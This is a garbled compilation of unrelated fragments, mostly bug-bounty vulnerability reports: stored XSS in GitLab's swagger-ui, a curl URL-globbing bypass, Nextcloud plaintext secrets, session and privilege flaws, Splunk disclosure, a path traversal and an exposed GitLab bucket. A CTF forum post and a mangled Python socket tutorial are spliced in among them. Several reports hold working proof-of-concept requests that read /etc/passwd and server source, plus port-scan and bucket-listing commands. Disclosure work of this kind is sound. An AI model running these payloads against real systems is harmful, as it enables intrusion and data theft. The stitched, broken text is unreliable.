### Impact

The stored XSS is triggering for any user that opens the page and clicks anywhere on the page. The PoC can easily be extended to steal the user's CSRF token and to take over the victim's account.

### Examples

- https://gitlab.com/kannthu/asdasdas123/-/blob/master/openapi.yaml
- https://gitlab.com/gitlab-org/build/omnibus-mirror/alertmanager/blob/master/api/v2/openapi.yaml?url=https://gitlab.com/kannthu/asdasdas123/-/raw/master/openapi.yaml

### What is the current *bug* behavior?
Gitlab uses an old version of swagger-ui.

### What is the expected *correct* behavior?
Gitlab should use the newest version of swagger-ui.

### Relevant logs and/or screenshots
F1146909

### Output of checks
This bug happens on GitLab.com

#### Results of GitLab environment info
-

## Impact

The stored XSS is triggering for any user that opens the page and clicks anywhere on the page. An attacker can render anything on that page - malicious form to steal the user's login and password, or simply get the user's CSRF token and to take over the victim's account.


Something is wrong with this machine, port 9999 is not listening anymore. I started with this fortress a week ago, 9999 was up. But now it’s not. I just voted for the machine reset, it’s been rebooted, but it didn’t help.


Transmission Control ProtocolTCP stands for Transmission Control Protocol. TCP is a communication standard that enables application programs and computing devices to exchange messages over a network. TCP establishes a connection between the source and destination before it starts transmitting the data. It breaks large amounts of data into smaller packets while ensuring data integrity.TCP server in pythonWe import socket and threading module. The socket module provides various objects, constants , functions and related exceptions for building full-fledged network applications including client and server programs. The threading module allows a program to run multiple operations concurrently in the same process space thus making the program faster.import socketimport threadingWe create a socket object with the the AF_INET and SOCK_STREAM parameters. AF_INET specifies the address family that our socket will use and in this case, it is Internet Protocol Version 4 address. SOCK_STREAM shows that the socket object will use TCP.#create TCP/IP socketsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)We define the IP and the port number for the server and we pass these arguments to the socket. This tells the socket object to listen on this IP address and port number.server_ip = 0.0.0.0server_port = 9999#Bind socket to portsock.bind((server_ip,server_port))This sets the number of maximum connections that can be connected to the server.in this case, the the server can only have a maximum of 5 connections.#Listen for incomming connectionssock.listen(5)Once a client has established a connection to the server, we keep the client’s socket in the connection variable and the connection details in the client_addr variable. client_addr[0] stores the IP address of the client and client_addr[1] stores the port that the client used to establish a connection to the server.For each client connection, we spin up a thread object that calls the handle_client function and we pass in the connection variable as the argument to the function.while True:    #wait for connection    connection,client_addr = sock.accept()    print([*] Accepted connection from: %s:%d %(client_addr[0],client_addr[1]))    client_handler =  threading.Thread(target=handle_client, args=(connection,))    client_handler.start()The handle_client function receives what the client socket sent and it sends back an ACK! message to the client to acknowledge that the message was received.Then it closes the connection.def handle_client(client_socket):    request = client_socket.recv(1024)    print([*] Recieved: %s %request)    #send acknowldgement    data = ACK!.encode('utf-8')    client_socket.send(data)    client_socket.close()Here is the full code for the tcp server in python.import socketimport threading#create TCP/IP socketsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)server_ip = 0.0.0.0server_port = 9999#Bind socket to portsock.bind((server_ip,server_port))#Listen for incomming connectionssock.listen(5)print ([*] Listening on %s:%d %(server_ip,server_port))def handle_client(client_socket):    request = client_socket.recv(1024)    print([*] Recieved: %s %request)    #send acknowldgement    data = ACK!.encode('utf-8')    client_socket.send(data)    client_socket.close()while True:    #wait for connection    connection,client_addr = sock.accept()    print([*] Accepted connection from: %s:%d %(client_addr[0],client_addr[1]))    client_handler =  threading.Thread(target=handle_client, args=(connection,))    client_handler.start()Let’s run the server.python3 tcp_server.py [*] Listening on 0.0.0.0:9999The server is listening on 0.0.0.0:9999 and is ready for any incoming connections.##TCP client in pythonCreating a tcp client is the same as creating the tcp server with only a few changes. Here the client connects to the server running on 0.0.0.0:9999 and sends a Hello World! message. Then, it prints the response it receives from the server.import sockettarget_ip = 0.0.0.0target_port = 9999#create a socket objectclient = socket.socket(socket.AF_INET,socket.SOCK_STREAM)#connect


[Improper Access Control - Generic] error parse uri path in curl

## Summary:
[add summary of the vulnerability]

The uri path error could lead to security filter bypasses.
For example,
we can use  curl  -vv 'f[h-j]le:///etc/passwd' to bypass  file protocol  black list
we can use  curl  -vv 'http://1.1.1.1:[80-9000]' to scan the open port in the host
etc ...

## Steps To Reproduce:
[add details for how we can reproduce the issue]

curl -vv 'f[h-j]le:///etc/passwd' will  parse 3 request , like  curl -vv 'fhle:///etc/passwd' 、curl -vv 'file:///etc/passwd' 、curl -vv 'fjle:///etc/passwd'
```
[root@iz2ze9awqx4bwtc7j5q4hsz bin]# ./curl -Version
curl 7.83.1 (x86_64-pc-linux-gnu) libcurl/7.83.1 zlib/1.2.7
Release-Date: 2022-05-11
Protocols: dict file ftp gopher http imap mqtt pop3 rtsp smtp telnet tftp
Features: alt-svc AsynchDNS IPv6 Largefile libz UnixSockets
[root@iz2ze9awqx4bwtc7j5q4hsz bin]# ./curl -vv 'f[h-j]le:///etc/passwd'
* Protocol "fhle" not supported or disabled in libcurl
* Closing connection -1
curl: (1) Protocol "fhle" not supported or disabled in libcurl
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-bus-proxy:x:999:998:systemd Bus Proxy:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:998:997:User for polkitd:/:/sbin/nologin
tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
chrony:x:997:995::/var/lib/chrony:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
admin:x:1000:1000::/home/admin:/sbin/nologin
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/sbin/nologin
squid:x:23:23::/var/spool/squid:/sbin/nologin
workftp:x:1002:1003::/home/work/ftp/:/sbin/nologin
mysql:x:27:27:MariaDB Server:/var/lib/mysql:/sbin/nologin
* Closing connection 0
* Protocol "fjle" not supported or disabled in libcurl
* Closing connection -1
curl: (1) Protocol "fjle" not supported or disabled in libcurl
[root@iz2ze9awqx4bwtc7j5q4hsz bin]# wget 'f[h-j]le:///etc/passwd'
f[h-j]le:///etc/passwd: 地址缺少协议类型.
[root@iz2ze9awqx4bwtc7j5q4hsz bin]#
```

So, I think this is a security questions of  curl, because the wget doesn't have same question. Thinks

## Supporting Material/References:
[list any additional material (e.g. screenshots, logs, etc.)]

  * [attachment / reference]

## Impact

bypass the security filter like the SSRF/RFL/LFI  etc.


[Cleartext Storage in a File or on Disk] OAuth2 client_secret stored in plain text in the database

If an attacker would obtain a dumb of the database they could read out the OAuth2 client secret trivially.
https://github.com/nextcloud/server/blob/master/apps/oauth2/lib/Controller/OauthApiController.php#L128

While I realise this is a big if it is not that hard to make sure the client secret is stored properly hashed.
Or at the very least make sure it is stored encrypted. (however non recoverable has the preference here I'd say)

## Impact

An attacker obtaining the read access to a dump of the database can trivially impersonate any OAuth2 client.


[Insufficient Session Expiration] Disconnecting an external login provider does not revoke session

Hi team,

Summary:
attacker could create a backdoor using google login function.if an attacker stole the  login password of victims throught any means. attacker could connect his/her google account and create a backdoor and attacker login with google  if the victim disconnect attacker session did  not expire and still get access beacuse of no session expire after disconnected with google account .attacker could still connect his google account again.

Steps To Reproduce:
  1. attacker stole the  login password of victims throught any means - https://accounts.shopify.com {{attacker prespective}}
  2.  attacker could connect his/her google account {{attacker prespective}}
 3. attacker login with google authentication {{attacker prespective}}
4. victim disconnect attacker session did  not expire and still get access beacuse of no session expire  in the attacker browser after disconnected with google account {{victims prespective}}
5. attacker could still connect his google account again. {{attacker prespective}}

POC video attached in this report

## Impact

no session expire after disconnected with google account an attacker can still logined to the victim account .thus an attacker could create a backdoor in victim account to login even if the victims changes the password attacker has a backdoor way to login to the account .


[Privilege Escalation] access list owner can escalate his role to the highest roles

## Summary:

1. Go to [your-domain.teleport.sh/web/accesslists].

2. Create a new access list and add a role to "Roles Granted," e.g., "reviewer" role.

3. Add a user as the Access List Owner.

4. The user, as the Access List Owner, can escalate the role of the list to higher roles, thereby escalating their own account's role.

This is a prohibited procedure, as stated [here](https://goteleport.com/docs/access-controls/access-lists/reference/#access-list-ownership), that Owners are not able to control what roles and traits are granted by the Access List.

## Steps To Reproduce:

### From Organization Owner Account:

1. Go to [your-domain.teleport.sh/web/accesslists].

2. Create a new access list.

3. Add a user as List Owner.

4. Add a role to "Roles Granted," e.g., "reviewer" role.

### From Access List Owner Account:

1. Add a new member to the access list and intercept the request.

2. Add "editor" role on "grants roles."

3. The "editor" role will be added to "Permissions Granted."

4. Logout and relogin.

5. Now, the user has the "editor" role and can perform any action on the organization.

## Impact

- Unauthorized Access: Potential for unauthorized access to sensitive information.
- Security Breach: Risk of compromising the overall security of the system.
- Privilege Escalation: Violation of the principle of least privilege.
- Violation of Access Control Policies: Contradiction with Teleport's documentation and policies.
- Risk of Insider Threats: Potential exploitation by malicious insiders.


[Insecure Storage of Sensitive Information] Splunk Sensitive Information Disclosure @████████

Hi Team,

Hope you are doing great.
I got a domain that contains Splunk Sensitive Information Disclosure @██████████
PoC:
https://███████/en-US/splunkd/__raw/services/server/info/server-info?output_mode=json
█████████

Splunk through 7.0.1 allows information disclosure by appending __raw/services/server/info/server-info?output_mode=json to a query, as demonstrated by discovering a license key.

Reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2018-11409
    - https://github.com/kofa2002/splunk
    - https://www.exploit-db.com/exploits/44865/
    - http://web.archive.org/web/20211208114213/https://securitytracker.com/id/1041148

## Impact

Splunk Sensitive Information Disclosure

## System Host(s)
██████

## Affected Product(s) and Version(s)

## CVE Numbers

## Steps to Reproduce
Open this link:
https://█████████/en-US/splunkd/__raw/services/server/info/server-info?output_mode=json

## Suggested Mitigation/Remediation Actions


[Path Traversal: '.../...//'] Local file read at https://████/ [HtUS]

Heyy there,
I have found local file read vulnerability in your website https://█████/

This the vulnerable endpoint https://██████████/download.php?filePathDownload=data_products and the `filePathDownload` path is vulnerable which allows an attacker to read any local files.

There was some sort protection when I first checked this endpoint, as it was returning 403 forbidden status code, upon trying something similar as the hacker has shown in report #1542734 . But I was able to bypass the protection in place.

---------------------

**Steps to reproduce:**

Just visit this url , which will display the contents of the `/etc/passwd` file:

https://████████/download.php?filePathDownload=data_products/../../../../../etc/passwd

Response:

```
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
chrony:x:998:995::/var/lib/chrony:/sbin/nologin
ec2-user:x:1000:1000:Cloud User:/home/ec2-user:/bin/bash
saslauth:x:996:76:Saslauthd user:/run/saslauthd:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
sssd:x:995:993:User for sssd:/:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
sustainment:x:1001:1001::/home/sustainment:/bin/bash
emerg:x:1002:1002:Sustainment Linux Emergency Acct:/home/emerg:/bin/bash
cwagent:x:993:992::/home/cwagent:/bin/bash
ssm-user:x:1003:1004::/home/ssm-user:/bin/bash
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin
drupal:x:1004:1005::/home/drupal:/bin/bash
splunk:x:1005:1006:Splunk Server:/opt/splunkforwarder:/bin/bash
mfe:x:992:1007::/home/mfe:/sbin/nologin
aoc:x:991:991:AWS OTel Collector:/home/aoc:/sbin/nologin
```

Also the content of `/etc/hosts`

```
127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4
::1         localhost localhost.localdomain localhost6 localhost6.localdomain6

████ ███████
████████
███████
███████
█████████
██████████
████████

```

You can also read the source code for the available php files such as index.php,download.php

Here's the source code for `download.php`
https://█████/download.php?filePathDownload=data_products/../download.php

```php
<?php

function checkPath($path){

  if(!contains($path, "data_products")){

    ob_clean();
    http_response_code(403);
	throw new RuntimeException('File Not Found Error');
    exit();

  }

}

function startsWith( $haystack, $needle ) {
     $length = strlen( $needle );
     return substr( $haystack, 0, $length ) === $needle;
}

function contains( $haystack, $needle ) {
     return strpos($haystack, $needle) !== false;
}

if(isset($_REQUEST["file"]) && isset($_REQUEST['linkpath'])){
 $linkpath=$_REQUEST['linkpath'];
    echo $file = htmlspecialchars(urldecode(base64_decode($_REQUEST["file"]))); // Decode URL-encoded string
    echo   $filepath =  $linkpath.'/'.$file;
    checkPath($filepath);
    if(is_file($filepath)){
                    ob_clean();
                    header("Pragma: public");
                    header("Expires: 0");
                    header("Cache-Control: must-revalid


[Improper Access Control - Generic] Unauthorized access

Hello Gents,
I would like to report an issue where attackers are able to:
1. List `about.gitlab.com` GS bucket.
2. Access all resales through https://about.gitlab.com/all-releases.xml & https://about.gitlab.com/security-releases.xml, which contains undisclosed HackerOne reports.
> For Example:
```
<p>This vulnerability has been discovered internally by the GitLab team.</p> <h2 id="pipeline-subscriptions-trigger-new-pipelines-with-the-wrong-author">Pipeline subscriptions trigger new pipelines with the wrong author</h2> <!-- https://gitlab.com/gitlab-org/security/gitlab/-/issues/642 -->
 <p>A critical issue has been discovered in GitLab affecting all versions starting from 14.0 prior to 14.10.5, 15.0 prior to 15.0.4, and 15.1 prior to 15.1.1 where an authenticated user authorized to import projects could import a maliciously crafted project leading to remote code execution. This is a critical severity issue (<code>CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H</code>, 9.9). It is now mitigated in the latest release and is assigned <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2185">CVE-2022-2185</a>.</p> <p>Thanks <a href="https://hackerone.com/vakzz">vakzz</a>
```
3. Access https://about.gitlab.com/mindmap.txt which contains this internal Google Documents link:
https://docs.google.com/document/d/e/2PACX-1vSNzTLkZMqILVYoey4dnSLYdk0Jmsd8pFu7ygLJ57RQ1c8XlZDbzaG45rQMOrDbHRWCQa5LN7DZid8s/pub
> I didn't dig in so much , but I was able to edit a document like this one:
> [GitLab_MessageGuide](https://docs.google.com/document/d/14APaSKwYpwutujISnkbLOnjdQ5RG-hIQXulasZT7h6s/edit)
4. list All Gitlab Staff full names through https://about.gitlab.com/roulette.json
5. All JavaScript files using `gsutil ls gs://about.gitlab.com/javascripts/`, there are many other files too.
> Also please take a look at this json file: https://storage.googleapis.com/about.gitlab.com/_nuxt/content/db-0881eaf3.json, it contains phone numbers, tokens, and more than 1000 URLs could be useful for attackers.

### Steps to reproduce:
+ Please visit https://storage.googleapis.com/about.gitlab.com, or you can install [gsutil](https://cloud.google.com/storage/docs/gsutil_install). then list the bucket using the following command:
+ `gsutil ls gs://about.gitlab.com/`.

### Proof of concept
+ {F1867120}
+ {F1867121}
+ {F1867122}
+ {F1867125}

## Impact

Unauthorized access & Information disclosure.

Thanks and have a nice day!